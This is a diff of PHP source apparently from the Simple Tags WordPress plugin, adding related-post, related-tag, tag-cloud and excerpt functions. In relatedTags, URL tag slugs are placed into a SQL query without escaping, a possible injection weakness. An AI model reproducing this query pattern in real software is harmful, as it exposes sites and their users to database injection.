+			// Restricts tags
+			$tags_to_exclude = array();
+			if ( $exclude_tags != '' ) {
+				$exclude_tags = (array) explode(',', $exclude_tags);
+				$exclude_tags = array_unique($exclude_tags);
+				foreach ( $exclude_tags as $value ) {
+					$tags_to_exclude[] = trim($value);
+				}
+			}
+			unset($exclude_tags);
+
+			// SQL Tags list
+			$tag_list = '';
+			foreach ( (array) $current_tags as $tag ) {
+				if ( !in_array($tag->name, $tags_to_exclude) ) {
+					$tag_list .= '"'.(int) $tag->term_id.'", ';
+				}
+			}
+
+			// If empty return no posts text
+			if ( empty($tag_list) ) {
+				return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+			}
+
+			// Remove latest ", "
+			$tag_list = substr($tag_list, 0, strlen($tag_list) - 2);
+
+			global $wpdb;
+
+			// Include category
+			$include_cat_sql = '';
+			$inner_cat_sql = '';
+			if ($include_cat != '') {
+				$include_cat = (array) explode(',', $include_cat);
+				$include_cat = array_unique($include_cat);
+				foreach ( $include_cat as $value ) {
+					$value = (int) $value;
+					if( $value > 0 ) {
+						$sql_cat_in .= '"'.$value.'", ';
+					}
+				}
+				$sql_cat_in = substr($sql_cat_in, 0, strlen($sql_cat_in) - 2);
+				$include_cat_sql = " AND (ctt.taxonomy = 'category' AND ctt.term_id IN ({$sql_cat_in})) ";
+				$inner_cat_sql = " INNER JOIN {$wpdb->term_relationships} AS ctr ON (p.ID = ctr.object_id) ";
+				$inner_cat_sql .= " INNER JOIN {$wpdb->term_taxonomy} AS ctt ON (ctr.term_taxonomy_id = ctt.term_taxonomy_id) ";
+			}
+
+			// Group Concat only for MySQL > 4.1 and check if post_relatedtags is used by xformat...
+			$select_gp_concat = '';
+			if ( version_compare(mysql_get_server_info(), '4.1.0', '>=') && ( strpos($xformat,'%post_relatedtags%') || $min_shared > 1 ) ) {
+				$select_gp_concat = ', GROUP_CONCAT(tt.term_id) as terms_id';
+			} else {
+				$xformat = str_replace('%post_relatedtags%', '', $xformat); // Group Concat only for MySQL > 4.1, remove related tags
+			}
+
+			// Check if post_excerpt is used by xformat...
+			$select_excerpt = '';
+			if ( strpos( $xformat, '%post_excerpt%' ) ) {
+				$select_excerpt = ', p.post_content, p.post_excerpt, p.post_password';
+			}
+
+			// Posts: title, comments_count, date, permalink, post_id, counter
+			$results = $wpdb->get_results("
+				SELECT p.post_title, p.comment_count, p.post_date, p.ID, COUNT(tr.object_id) AS counter {$select_excerpt} {$select_gp_concat}
+				FROM {$wpdb->posts} AS p
+				INNER JOIN {$wpdb->term_relationships} AS tr ON (p.ID = tr.object_id)
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
+				{$inner_cat_sql}
+				WHERE (tt.taxonomy = 'post_tag' AND tt.term_id IN ({$tag_list}))
+				{$include_cat_sql}
+				{$exclude_posts_sql}
+				AND p.post_status = 'publish'
+				AND p.post_date_gmt < '".current_time('mysql')."'
+				{$limit_days_sql}
+				{$restrict_sql}
+				GROUP BY tr.object_id
+				ORDER BY {$order_by}
+				{$limit_sql}");
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $results;
+				wp_cache_set('related_posts', $cache, 'simpletags');
+			}
+		}
+
+		if ( $format == 'object' || $format == 'array' ) {
+			return $results;
+		} elseif ( $results === false || empty($results) ) {
+			return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+		}
+
+		if ( empty($dateformat) ) {
+			$dateformat = $this->dateformat;
+		}
+
+		$output = array();
+		// Replace placeholders
+		foreach ( (array) $results as $result ) {
+			if ( ( $min_shared > 1 && ( count(explode(',', $result->terms_id)) < $min_shared ) ) || !is_object($result) ) {
+				continue;
+			}
+
+			$element_loop = $xformat;
+			$post_title = apply_filters( 'the_title', $result->post_title );
+			$element_loop = str_replace('%post_date%', mysql2date($dateformat, $result->post_date), $element_loop);
+			$element_loop = str_replace('%post_permalink%', get_permalink($result->ID), $element_loop);
+			$element_loop = str_replace('%post_title%', $post_title, $element_loop);
+			$element_loop = str_replace('%post_title_attribute%', wp_specialchars(strip_tags($post_title)), $element_loop);
+			$element_loop = str_replace('%post_comment%', $result->comment_count, $element_loop);
+			$element_loop = str_replace('%post_tagcount%', $result->counter, $element_loop);
+			$element_loop = str_replace('%post_id%', $result->ID, $element_loop);
+			$element_loop = str_replace('%post_relatedtags%', $this->getTagsFromID($result->terms_id), $element_loop);
+			$element_loop = str_replace('%post_excerpt%', $this->getExcerptPost( $result->post_excerpt, $result->post_content, $result->post_password, $excerpt_wrap ), $element_loop);
+			$output[] = $element_loop;
+		}
+
+		// Clean memory
+		$results = array();
+		unset($results, $result);
+
+		return $this->outputContent( 'st-related-posts', $format, $title, $output, $copyright, $separator );
+	}
+
+	/**
+	 * Build excerpt from post data with specific lenght
+	 *
+	 * @param string $excerpt
+	 * @param string $content
+	 * @param string $password
+	 * @param integer $excerpt_length
+	 * @return string
+	 */
+	function getExcerptPost( $excerpt = '', $content = '', $password = '', $excerpt_length = 55 ) {
+		if ( !empty($password) ) { // if there's a password
+			if ( $_COOKIE['wp-postpass_'.COOKIEHASH] != $password ) { // and it doesn't match the cookie
+				return __('There is no excerpt because this is a protected post.', 'simpletags');
+			}
+		}
+
+		if ( !empty($excerpt) ) {
+			return apply_filters('get_the_excerpt', $excerpt);
+		} else { // Fake excerpt
+			$content = str_replace(']]>', ']]&gt;', $content);
+			$content = strip_tags($content);
+
+			$excerpt_length = (int) $excerpt_length;
+			if ( $excerpt_length == 0 ) {
+				$excerpt_length = 55;
+			}
+
+			$words = explode(' ', $content, $excerpt_length + 1);
+			if ( count($words) > $excerpt_length ) {
+				array_pop($words);
+				array_push($words, '[...]');
+				$content = implode(' ', $words);
+			}
+			return $content;
+		}
+	}
+
+	/**
+	 * Get and format tags from list ID (SQL Group Concat)
+	 *
+	 * @param array $terms
+	 * @return string
+	 */
+	function getTagsFromID( $terms = '' ) {
+		if ( empty($terms) ) {
+			return '';
+		}
+
+		// Get tags since Term ID.
+		$terms = (array) get_terms('post_tag', 'include='.$terms);
+		if ( empty($terms) ) {
+			return '';
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $this->options['no_follow'] );
+
+		$output = '';
+		foreach ( $terms as $term ) {
+			$output .= '<a href="'.get_tag_link($term->term_id).'" title="'.attribute_escape(sprintf( __ngettext('%d topic', '%d topics', $term->count, 'simpletags'), $term->count )).'" '.$rel.'>'.wp_specialchars($term->name).'</a>, ';
+		}
+		$output = substr($output, 0, strlen($output) - 2); // Remove latest ", "
+		return $output;
+	}
+
+	/**
+	 * Check is page is a tag view, even if tags haven't post
+	 *
+	 * @return boolean
+	 */
+	function isTag() {
+		if ( get_query_var('tag') == '' ) {
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * Get related tags for a tags view
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function relatedTags( $user_args = '' ) {
+		$defaults = array(
+		'number' => 5,
+		'order' => 'count-desc',
+		'separator' => ' ',
+		'format' => 'list',
+		'method' => 'OR',
+		'no_follow' => 0,
+		'title' => __('<h4>Related tags</h4>', 'simpletags'),
+		'notagstext' => __('No related tag found.', 'simpletags'),
+		'xformat' => __('<span>%tag_count%</span> <a %tag_rel% href="%tag_link_add%">+</a> <a %tag_rel% href="%tag_link%" title="See posts with %tag_name_attribute%">%tag_name%</a>', 'simpletags')
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['number'] = $this->options['rt_number'];
+		$defaults['order'] = $this->options['rt_order'];
+		$defaults['separator'] = $this->options['rt_separator'];
+		$defaults['format'] = $this->options['rt_format'];
+		$defaults['method'] = $this->options['rt_method'];
+		$defaults['title'] = $this->options['rt_title'];
+		$defaults['notagstext'] = $this->options['rt_notagstext'];
+		$defaults['xformat'] = $this->options['rt_xformat'];
+
+		if( empty($user_args) ) {
+			$user_args = $this->options['rt_adv_usage'];
+		}
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+		unset($args, $defaults);
+
+		if ( !is_tag() && !$this->isTag() ) {
+			return '';
+		}
+
+		// Method union/intersection
+		$method = strtoupper($method);
+		if ( $method == 'AND' ) {
+			$url_tag_sep = '+';
+		} else {
+			$url_tag_sep = ',';
+		}
+
+		// Get currents slugs
+		$slugs = get_query_var('tag');
+		if ( strpos( $slugs, ',') ) {
+			$current_slugs = explode(',', $slugs);
+		} elseif ( strpos( $slugs, '+') ) {
+			$current_slugs = explode('+', $slugs);
+		} elseif ( strpos( $slugs, ' ') ) {
+			$current_slugs = explode(' ', $slugs);
+		}else {
+			$current_slugs[] = $slugs;
+		}
+
+		// Get cache if exist
+		$related_tags = false;
+		if ( $this->use_cache === true ) { // Use cache
+			// Generate key cache
+			$key = md5(maybe_serialize($user_args.$slugs.$url_tag_sep));
+			$cache = wp_cache_get( 'related_tags', 'simpletags' );
+			if ( $cache ) {
+				if ( isset( $cache[$key] ) ) {
+					$related_tags = $cache[$key];
+				}
+			}
+		}
+
+		// If cache not exist, get datas and set cache
+		if ( $related_tags === false || $related_tags === null ) {
+			// Order tags before selection (count-asc/count-desc/name-asc/name-desc/random)
+			$order_tmp = strtolower($order);
+			$order_by = $order = '';
+			switch ( $order_tmp ) {
+				case 'count-asc':
+					$order_by = 'count';
+					$order = 'ASC';
+					break;
+				case 'random':
+					$order_by = 'RAND()';
+					$order = '';
+					break;
+				case 'name-asc':
+					$order_by = 'name';
+					$order = 'ASC';
+					break;
+				case 'name-desc':
+					$order_by = 'name';
+					$order = 'DESC';
+					break;
+				default: // count-desc
+				$order_by = 'count';
+				$order = 'DESC';
+				break;
+			}
+
+			// Get objets
+			$terms = "'" . implode("', '", $current_slugs) . "'";
+			global $wpdb;
+			$object_ids = $wpdb->get_col("
+				SELECT tr.object_id
+				FROM {$wpdb->term_relationships} AS tr
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
+				INNER JOIN {$wpdb->terms} AS t ON tt.term_id = t.term_id
+				WHERE tt.taxonomy = 'post_tag'
+				AND t.slug IN ({$terms})
+				GROUP BY tr.object_id
+				ORDER BY tr.object_id ASC");
+
+			// Clean memory
+			$terms = array();
+			unset($terms);
+
+			// Get tags for specified objects
+			$all_related_tags = wp_get_object_terms( $object_ids, 'post_tag', array('orderby' => $order_by, 'order' => $order) );
+
+			// Remove duplicates tags
+			$all_related_tags = array_intersect_key($all_related_tags, array_unique(array_map('serialize', $all_related_tags)));
+
+			// Exclude current tags
+			foreach ( (array) $all_related_tags as $tag ) {
+				if ( !in_array($tag->slug, $current_slugs) ) {
+					$related_tags[] = $tag;
+				}
+			}
+
+			// Clean memory
+			$all_related_tags = array();
+			unset($all_related_tags);
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $related_tags;
+				wp_cache_set('related_tags', $cache, 'simpletags');
+			}
+		}
+
+		if ( empty($related_tags) ) {
+			return $this->outputContent( 'st-related-tags', $format, $title, $notagstext, true );
+		} elseif ( $format == 'object' || $format == 'array' ) {
+			return $related_tags;
+		}
+
+		// Limit to max quantity if set
+		$number = (int) $number;
+		if ( $number != 0 ) {
+			$related_tags = array_slice( $related_tags, 0, $number );
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		// Build outpout
+		$output = array();
+		foreach( $related_tags as $tag ) {
+			if ( !is_object($tag) ) {
+				continue;
+			}
+
+			$element_loop = $xformat;
+			$element_loop = $this->formatInternalTag( $element_loop, $tag, $rel, null );
+			$element_loop = str_replace('%tag_link_add%', $this->getAddTagToLink( $current_slugs, $tag->slug, $url_tag_sep ), $element_loop);
+			$output[] = $element_loop;
+		}
+
+		// Clean memory
+		$related_tags = array();
+		unset($related_tags, $tag, $element_loop);
+
+		return $this->outputContent( 'st-related-tags', $format, $title, $output, true, $separator );
+	}
+
+	/**
+	 * Add a tag to a current link
+	 *
+	 * @param array $current_slugs
+	 * @param string $tag_slug
+	 * @param string $separator
+	 * @return string
+	 */
+	function getAddTagToLink( $current_slugs = array(), $tag_slug = '', $separator = ',' ) {
+		// Add new tag slug to current slug
+		$current_slugs[] = $tag_slug;
+
+		// Array to string with good separator
+		$slugs = implode( $separator, $current_slugs );
+
+		global $wp_rewrite;
+		$taglink = $wp_rewrite->get_tag_permastruct();
+
+		if ( empty($taglink) ) { // No permalink
+			$taglink = $this->info['home'] . '/?tag=' . $slugs;
+		} else { // Custom permalink
+			$taglink = $this->info['home'] . user_trailingslashit( str_replace('%tag%', $slugs, $taglink), 'category');
+		}
+
+		return apply_filters('st_add_tag_link', clean_url($taglink));
+	}
+
+	/**
+	 * Get tags to remove in related tags
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function removeRelatedTags( $user_args = '' ) {
+		$defaults = array(
+		'separator' => '<br />',
+		'format' => 'list',
+		'notagstext' => '',
+		'no_follow' => 0,
+		'xformat' => __('<a %tag_rel% href="%tag_link_remove%" title="Remove %tag_name_attribute% from search">Remove %tag_name%</a>', 'simpletags')
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['separator'] = $this->options['rt_remove_separator'];
+		$defaults['format'] = $this->options['rt_remove_format'];
+		$defaults['notagstext'] = $this->options['rt_remove_notagstext'];
+		$defaults['xformat'] = $this->options['rt_remove_xformat'];
+
+		if( empty($user_args) ) {
+			$user_args = $this->options['rt_remove_adv_usage'];
+		}
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+		unset($args, $defaults, $user_args);
+
+		if ( !is_tag() && !$this->isTag() ) {
+			return '';
+		}
+
+		// Get currents slugs
+		$slugs = get_query_var('tag');
+		if ( strpos( $slugs, ',') ) {
+			$current_slugs = explode(',', $slugs);
+			$url_tag_sep = ',';
+		} elseif ( strpos( $slugs, '+') ) {
+			$current_slugs = explode('+', $slugs);
+			$url_tag_sep = '+';
+		} elseif ( strpos( $slugs, ' ') ) {
+			$current_slugs = explode(' ', $slugs);
+			$url_tag_sep = '+';
+		} else {
+			return $this->outputContent( 'st-remove-related-tags', $format, '', $notagstext, true );
+		}
+
+		if ( $format == 'array' || $format == 'object' ) {
+			return $current_slugs;
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		foreach ( $current_slugs as $slug ) {
+			// Get term by slug
+			$term = get_term_by('slug', $slug, 'post_tag');
+			if ( !is_object($term) ) {
+				continue;
+			}
+
+			$element_loop = $xformat;
+			$element_loop = $this->formatInternalTag( $element_loop, $term, $rel, null );
+			// Specific marker
+			$element_loop = str_replace('%tag_link_remove%', $this->getRemoveTagToLink( $current_slugs, $term->slug, $url_tag_sep ), $element_loop);
+			$output[] = $element_loop;
+		}
+
+		// Clean memory
+		$current_slugs = array();
+		unset($current_slugs, $slug, $element_loop);
+
+		return $this->outputContent( 'st-remove-related-tags', $format, '', $output );
+	}
+
+	/**
+	 * Build tag url without a specifik tag
+	 *
+	 * @param array $current_slugs
+	 * @param string $tag_slug
+	 * @param string $separator
+	 * @return string
+	 */
+	function getRemoveTagToLink( $current_slugs = array(), $tag_slug = '', $separator = ',' ) {
+		// Remove tag slug to current slugs
+		$key = array_search($tag_slug, $current_slugs);
+		unset($current_slugs[$key]);
+
+		// Array to string with good separator
+		$slugs = implode( $separator, $current_slugs );
+
+		global $wp_rewrite;
+		$taglink = $wp_rewrite->get_tag_permastruct();
+
+		if ( empty($taglink) ) { // No permalink
+			$taglink = $this->info['home'] . '/?tag=' . $slugs;
+		} else { // Custom permalink
+			$taglink = $this->info['home'] . user_trailingslashit( str_replace('%tag%', $slugs, $taglink), 'category');
+		}
+		return apply_filters('st_remove_tag_link', clean_url($taglink));
+	}
+
+	/**
+	 * Sort an array without accent for naturel order :)
+	 *
+	 * @param string $a
+	 * @param string $b
+	 * @return boolean
+	 */
+	function uksortByName( $a = '', $b = '' ) {
+		return strnatcasecmp( remove_accents($a), remove_accents($b) );
+	}
+
+	/**
+	 * Generate extended tag cloud
+	 *
+	 * @param string $args
+	 * @return string|array
+	 */
+	function extendedTagCloud( $args = '', $copyright = true ) {
+		$defaults = array(
+		'size' => 'true',
+		'smallest' => 8,
+		'largest' => 22,
+		'unit' => 'pt',
+		'color' => 'true',
+		'maxcolor' => '#000000',
+		'mincolor' => '#CCCCCC',
+		'number' => 45,
+		'format' => 'flat',
+		'cloud_selection' => 'count-desc',
+		'cloud_sort' => 'random',
+		'exclude' => '',
+		'include' => '',
+		'no_follow' => 0,
+		'limit_days' => 0,
+		'min_usage' => 0,
+		'inc_cats' => 0,
+		'notagstext' => __('No tags.', 'simpletags'),
+		'xformat' => __('<a href="%tag_link%" id="tag-link-%tag_id%" class="st-tags t%tag_scale%" title="%tag_count% topics" %tag_rel% style="%tag_size% %tag_color%">%tag_name%</a>', 'simpletags'),
+		'title' => __('<h4>Tag Cloud</h4>', 'simpletags'),
+		'category' => 0
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['cloud_selection'] = $this->options['cloud_selection'];
+		$defaults['cloud_sort'] = $this->options['cloud_sort'];
+		$defaults['number'] = $this->options['cloud_limit_qty'];
+		$defaults['notagstext'] = $this->options['cloud_notagstext'];
+		$defaults['title'] = $this->options['cloud_title'];
+		$defaults['maxcolor'] = $this->options['cloud_max_color'];
+		$defaults['mincolor'] = $this->options['cloud_min_color'];
+		$defaults['largest'] = $this->options['cloud_max_size'];
+		$defaults['smallest'] = $this->options['cloud_min_size'];
+		$defaults['unit'] = $this->options['cloud_unit'];
+		$defaults['xformat'] = $this->options['cloud_xformat'];
+		$defaults['format'] = $this->options['cloud_format'];
+		$defaults['inc_cats'] = $this->options['cloud_inc_cats'];
+
+		if ( empty($args) ) {
+			$args = $this->options['cloud_adv_usage'];
+		}
+		$args = wp_parse_args( $args, $defaults );
+
+		// Get categories ?
+		$taxonomy = ( (int) $args['inc_cats'] == 0 ) ? 'post_tag' : array('post_tag', 'category');
+
+		// Get terms
+		$terms = $this->getTags( $args, $this->use_cache, $taxonomy );
+		extract($args); // Params to variables
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+		unset($args, $defaults);
+
+		if ( empty($terms) ) {
+			return $this->outputContent( 'st-tag-cloud', $format, $title, $notagstext, $copyright );
+		}
+
+		$counts = $terms_data = array();
+		foreach ( (array) $terms as $term ) {
+			$counts[$term->name] = $term->count;
+			$terms_data[$term->name] = $term;
+		}
+
+		// Remove temp data from memory
+		$terms = array();
+		unset($terms);
+
+		// Use full RBG code
+		if ( strlen($maxcolor) == 4 ) {
+			$maxcolor = $maxcolor . substr($maxcolor, 1, strlen($maxcolor));
+		}
+		if ( strlen($mincolor) == 4 ) {
+			$mincolor = $mincolor . substr($mincolor, 1, strlen($mincolor));
+		}
+
+		// Check as smallest inferior or egal to largest
+		if ( $smallest > $largest ) {
+			$smallest = $largest;
+		}
+
+		// Scaling - Hard value for the moment
+		$scale_min = 1;
+		$scale_max = 10;
+
+		$minval = min($counts);
+		$maxval = max($counts);;
+
+		$minout = max($scale_min, 0);
+		$maxout = max($scale_max, $minout);
+
+		$scale = ($maxval > $minval) ? (($maxout - $minout) / ($maxval - $minval)) : 0;
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		// Remove color marquer if color = false
+		if ( $color == 'false' ) {
+			$xformat = str_replace('%tag_color%', '', $xformat);
+		}
+
+		// Remove size marquer if size = false
+		if ( $size == 'false' ) {
+			$xformat = str_replace('%tag_size%', '', $xformat);
+		}
+
+		// Order terms before output
+		// count-asc/count-desc/name-asc/name-desc/random
+		$cloud_sort = strtolower($cloud_sort);
+		switch ( $cloud_sort ) {
+			case 'count-asc':
+				asort($counts);
+				break;
+			case 'count-desc':
+				arsort($counts);
+				break;
+			case 'name-asc':
+				uksort($counts, array( &$this, 'uksortByName'));
+				break;
+			case 'name-desc':
+				uksort($counts, array( &$this, 'uksortByName'));
+				array_reverse($counts);
+				break;
+			default: // random
+			$counts = $this->randomArray($counts);
+			break;
+		}
+
+		$output = array();
+		foreach ( (array) $counts as $term_name => $count ) {
+			if ( !is_object($terms_data[$term_name]) ) {
+				continue;
+			}
+
+			$term = $terms_data[$term_name];
+			$scale_result = (int) (($term->count - $minval) * $scale + $minout);
+			$output[] = $this->formatInternalTag( $xformat, $term, $rel, $scale_result, $scale_max, $scale_min, $largest, $smallest, $unit, $maxcolor, $mincolor );
+		}
+
+		// Remove unused variables
+		$counts = array();
+		$terms = array();
+		unset($counts, $terms, $element_loop, $term);
+
+		return $this->outputContent( 'st-tag-cloud', $format, $title, $output, $copyright );
+	}
+
+	/**
+	 * Randomize an array and keep association
+	 *
+	 * @param array $data
+	 * @return array
+	 */
+	function randomArray( $data_in = array() ) {
+		if ( empty($data_in) ) {
+			return $data_in;
+		}
+
+		srand( (float) microtime() * 1000000 ); // For PHP < 4.2
+		$rand_keys = array_rand($data_in, count($data_in));
+
+		foreach( (array) $rand_keys as $key ) {
+			$data_out[$key] = $data_in[$key];
+		}
+
+		return $data_out;
+	}
+
+	/**
+	 * Remplace marker by dynamic values (use for related tags, current tags and tag cloud)
+	 *
+	 * @param string $element_loop
+	 * @param object $term
+	 * @param string $rel
+	 * @param integer $scale_result
+	 * @param integer $scale_max
+	 * @param integer $scale_min
+	 * @param integer $largest
+	 * @param integer $smallest
+	 * @param string $unit
+	 * @param string $maxcolor
+	 * @param string $mincolor
+	 * @return string
+	 */
+	function formatInternalTag( $element_loop = '', $term = null, $rel = '', $scale_result = 0, $scale_max = null, $scale_min = 0, $largest = 0, $smallest = 0, $unit = '', $maxcolor = '', $mincolor = '' ) {
+		// Need term object
+		if ( $term->taxonomy == 'post_tag' ) { // Tag post
+			$element_loop = str_replace('%tag_link%', clean_url(get_tag_link($term->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_feed%', clean_url(get_tag_feed_link($term->term_id)), $element_loop);
+		} else { // Category
+			$element_loop = str_replace('%tag_link%', clean_url(get_category_link($term->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_feed%', clean_url(get_category_rss_link(false, $term->term_id, '')), $element_loop);
+		}
+		$element_loop = str_replace('%tag_name%', wp_specialchars( $term->name ), $element_loop);
+		$element_loop = str_replace('%tag_name_attribute%', wp_specialchars(strip_tags($term->name)), $element_loop);
+		$element_loop = str_replace('%tag_id%', $term->term_id, $element_loop);
+		$element_loop = str_replace('%tag_count%', (int) $term->count, $element_loop);
+
+		// Need rel
+		$element_loop = str_replace('%tag_rel%', $rel, $element_loop);
+
+		// Need max/min/scale and other :)
+		if ( $scale_result !== null ) {
+			$element_loop = str_replace('%tag_size%', 'font-size:'.round(($scale_result - $scale_min)*($largest-$smallest)/($scale_max - $scale_min) + $smallest, 2).$unit.';', $element_loop);
+			$element_loop = str_replace('%tag_color%', 'color:'.$this->getColorByScale(round(($scale_result - $scale_min)*(100)/($scale_max - $scale_min), 2),$mincolor,$maxcolor).';', $element_loop);
+			$element_loop = str_replace('%tag_scale%', $scale_result, $element_loop);
+		}
+
+		// External link
+		$element_loop = str_replace('%tag_technorati%', $this->formatExternalTag( 'technorati', $term->name ), $element_loop);
+		$element_loop = str_replace('%tag_flickr%', $this->formatExternalTag( 'flickr', $term->name ), $element_loop);
+		$element_loop = str_replace('%tag_delicious%', $this->formatExternalTag( 'delicious', $term->name ), $element_loop);
+
+		return $element_loop;
+	}
+
+	/**
+	 * Format nice URL depending service
+	 *
+	 * @param string $type
+	 * @param string $tag_name
+	 * @return string
+	 */
+	function formatExternalTag( $type = '', $term_name = '' ) {
+		if ( empty($term_name) ) {
+			return '';
+		}
+
+		$term_name = wp_specialchars($term_name);
+		switch ( $type ) {
+			case 'technorati':
+				$link = clean_url('http://technorati.com/tag/'.str_replace(' ', '+', $term_name));
+				return '<a class="tag_technorati" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			case 'flickr':
+				$link = clean_url('http://www.flickr.com/photos/tags/'.preg_replace('/[^a-zA-Z0-9]/', '', strtolower($term_name)).'/');
+				return '<a class="tag_flickr" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			case 'delicious':
+				$link = clean_url('http://del.icio.us/popular/'.strtolower(str_replace(' ', '', $term_name)));
+				return '<a class="tag_delicious" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			default:
+				return '';
+				break;
+		}
+	}
+
+	/**
+	 * Generate current post tags
+	 *
+	 * @param string $args
+	 * @return string
+	 */
+	function extendedPostTags( $args = '', $copyright = true ) {
+		$defaults = array(
+		'before' => __('Tags: ', 'simpletags'),
+		'separator' => ', ',
+		'after' => '<br />',
+		'post_id' => 0,
+		'no_follow' => 0,
+		'inc_cats' => 0,
+		'xformat' => __('<a href="%tag_link%" title="%tag_name_attribute%" %tag_rel%>%tag_name%</a>', 'simpletags'),
+		'notagtext' => __('No tag for this post.', 'simpletags'),
+		'number' => 0,
+		'format' => ''
+		);
+
+		// Get values in DB
+		$defaults['before'] = $this->options['tt_before'];
+		$defaults['separator'] = $this->options['tt_separator'];
+		$defaults['after'] = $this->options['tt_after'];
+		$defaults['no_follow'] = (int) $this->options['no_follow'];
+		$defaults['inc_cats'] = $this->options['tt_inc_cats'];
+		$defaults['xformat'] = $this->options['tt_xformat'];
+		$defaults['notagtext'] = $this->options['tt_notagstext'];
+		$defaults['number'] = (int) $this->options['tt_number'];
+		if ( empty($args) ) {
+			$args = $this->options['tt_adv_usage'];
+		}
+
+		// Extract data in variables
+		$args = wp_parse_args( $args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+
+		// Choose post ID
+		$object_id = (int) $post_id;
+		if ( $object_id == 0 ) {
+			global $post;
+			$object_id = (int) $post->ID;
+			if ( $object_id == 0 ) {
+				return false;
+			}
+		}
+
+		// Get categories ?
+		$taxonomy = ( (int) $inc_cats == 0 ) ? 'post_tag' : array('post_tag', 'category');
+		// Get terms
+		$terms = apply_filters( 'get_the_tags', wp_get_object_terms($object_id, $taxonomy) );
+
+		// Limit to max quantity if set
+		$number = (int) $number;
+		if ( $number != 0 ) {
+			shuffle($terms); // Randomize terms
+			$terms = array_slice( $terms, 0, $number );
+		}
+
+		// Return for object format
+		if ( $format == 'object' ) {
+			return $terms;
+		}
+
+		// If no terms, return text nothing.
+		if ( empty($terms) ) {
+			return $notagtext;
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		// Prepare output
+		foreach ( (array) $terms as $term ) {
+			if ( !is_object($term) ) {
+				continue;
+			}
+
+			$output[] = $this->formatInternalTag( $xformat, $term, $rel, null );
+		}
+
+		// Clean memory
+		$terms = array();
+		unset($terms, $term);
+
+
+		// Array to string
+		if ( is_array($output) && !empty($output) ) {
+			$output = implode($separator, $output);
+		} else {
+			$output = $notagtext;
+		}
+
+		// Add container
+		$output = $before . $output . $after;
+
+		return $this->outputContent( '', 'string', '', $output, $copyright );
+	}
+
+	/**
+	 * Build rel for tag link
+	 *
+	 * @param integer $no_follow
+	 * @return string
+	 */
+	function buildRel( $no_follow = 1 ) {
+		$rel = '';
+
+		global $wp_rewrite;
+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+
+		$no_follow = (int) $no_follow;
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';
+		}
+
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+
+		return $rel;
+	}
+
+	/**
+	 * Delete embedded tags
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function filterEmbedTags( $content ) {
+		$tag_start = $this->options['start_embed_tags'];
+		$tag_end = $this->options['end_embed_tags'];
+		$len_tagend = strlen($tag_end);
+
+		while ( strpos($content, $tag_start) != false && strpos($content, $tag_end) != false ) {
+			$pos1 = strpos($content, $tag_start);
+			$pos2 = strpos($content, $tag_end);
+			$content = str_replace(substr($content, $pos1, ($pos2 - $pos1 + $len_tagend)), '', $content);
+		}
+		return $content;
+	}
+
+	/**
+	 * This is pretty filthy. Doing math in hex is much too weird. It's more likely to work, this way!
+	 * Provided from UTW. Thanks.
+	 *
+	 * @param integer $scale_color
+	 * @param string $min_color
+	 * @param string $max_color
+	 * @return string
+	 */
+	function getColorByScale($scale_color, $min_color, $max_color) {
+		$scale_color = $scale_color / 100;
+
+		$minr = hexdec(substr($min_color, 1, 2));
+		$ming = hexdec(substr($min_color, 3, 2));
+		$minb = hexdec(substr($min_color, 5, 2));
+
+		$maxr = hexdec(substr($max_color, 1, 2));
+		$maxg = hexdec(substr($max_color, 3, 2));
+		$maxb = hexdec(substr($max_color, 5, 2));
+
+		$r = dechex(intval((($maxr - $minr) * $scale_color) + $minr));
+		$g = dechex(intval((($maxg - $ming) * $scale_color) + $ming));
+		$b = dechex(intval((($maxb - $minb) * $scale_color) + $minb));
+
+		if (strlen($r) == 1) $r = '0'.$r;
+		if (strlen($g) == 1) $g = '0'.$g;
+		if (strlen($b) == 1) $b = '0'.$b;
+
